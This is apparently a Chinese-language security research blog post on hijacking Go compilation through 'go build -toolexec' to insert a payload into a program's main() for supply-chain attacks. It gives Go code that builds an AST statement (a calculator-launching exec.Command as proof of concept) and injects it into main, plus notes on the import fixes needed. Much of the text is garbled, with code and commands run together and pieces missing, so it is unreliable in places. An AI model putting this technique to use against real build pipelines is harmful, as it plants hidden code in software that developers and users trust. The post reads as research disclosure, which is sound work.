前段时间学习了 0x7F 师傅的「dll 劫持和应用」,其中提到通过 dll 劫持来劫持编译器实现供应链攻击,不由想到 Go 中的一些机制也可以方便地实现编译劫持,于是做了一些研究和测试。
编译过程
go build
package main
func main() {
print("i'm testapp!")
}
go build -x main.go
上述命令可以将编译过程概括为:
***.a
观察这段命令能够发现一些有趣的地方。
go tool
packagefile xxx/xxx=xxx.aimportcfg/importcfg.link
$WORK/b001go buildgo build -a -work-a-work
importcfg_pkg_.aimportcfg.linkexe/a.out
综上,我们可以总结出几个关键信息:
go build-work
可以感受到编译过程是较为“分散”的,这给我们创造了机会:
go env GOTOOLDIRgo build -toolexec
这两种方法的思路大致相同,本文尝试了第二种思路。
劫持编译
go build-toolexec
cfg.BuildToolexecgo build -toolexecbash
-toolexec 'cmd args'
a program to use to invoke toolchain programs like vet and asm.
For example, instead of running asm, the go command will run
'cmd args /path/to/asm '.-toolexec
-toolexec "/path/to/wrapper"main.main()
首先要定位到目标代码文件。
/path/to/wrapper /opt/homebrew/Cellar/go/1.17.2/libexec/pkg/tool/darwin_arm64/compile -o $WORK/b042/_pkg_.a -trimpath "$WORK/b042=>" -shared -p strings -std -complete -buildid ygbMG98G6g0UHH5pai26/ygbMG98G6g0UHH5pai26 -goversion go1.17.2 -importcfg $WORK/b042/importcfg -pack /opt/homebrew/Cellar/go/1.17.2/libexec/src/strings/builder.go /opt/homebrew/Cellar/go/1.17.2/libexec/src/strings/compare.go
...(省略)
go build -toolexec "/path/to/wrapper"main.main()package mainfunc main(){
因为一条编译命令包含的文件都属于一个包,所以只要有一个文件不符合要求就可以放弃后续筛选了。
综上,第一步可以通过如下条件筛选:
.goast.FuncDecl
定位到了目标代码文件,下一步通过修改 AST 来插入 payload。
main()ast.StmtBody.List
var cmd = `exec.Command("open", "/System/Applications/Calculator.app").Run()`
payloadExpr, err := parser.ParseExpr(cmd)
// handle err
payloadExprStmt := &ast.ExprStmt{
X: payloadExpr,
}
main()Body.List
// 方式1
ast.Inspect(f, func(n ast.Node) bool {
switch x := n.(type) {
case *ast.FuncDecl:
if x.Name.Name == "main" && x.Recv == nil {
stmts := make([]ast.Stmt, 0, len(x.Body.List)+1)
stmts = append(stmts, payloadExprStmt)
stmts = append(stmts, x.Body.List...)
x.Body.List = stmts
return false
}
}
return true
})
// 方式2
pre := func(cursor *astutil.Cursor) bool {
switch cursor.Node().(type) {
case *ast.FuncDecl:
if fd := cursor.Node().(*ast.FuncDecl); fd.Name.Name == "main" && fd.Recv == nil {
return true
}
return false
case *ast.BlockStmt:
return true
case ast.Stmt:
if _, ok := cursor.Parent().(*ast.BlockStmt); ok {
cursor.InsertBefore(payloadExprStmt)
}
}
return true
}
post := func(cursor *astutil.Cursor) bool {
if _, ok := cursor.Parent().(*ast.BlockStmt); ok {
return false
}
return true
}
f = astutil.Apply(f, pre, post).(*ast.File)
最后将修改好的 AST 保存为文件,替换原始编译命令中的文件地址,执行命令。
os/exec
/var/folders/z5/1_qfr0f55x97c63p412hprzw0000gn/T/gobuild_cache_1747406166/main.go:5:2: could not import "os/exec": open : no such file or directory
go build-toolexecos/exec
os/exec
go build
package main
import "os/exec"
func main() {
exec.Command("xxx").Run()
}
-workos/exec
再次尝试,可以看到 payload 成功插入。
-ago buildgo build-ago clean -cache
最后,梳理一下上述步骤:
importcfg
importcfg.link
总结
go build-toolexec
-toolexec-a
本文相关代码存放在 go-build-hijacking,后续有好的思路会继续补充,欢迎师傅们通过 issue 或邮件交流。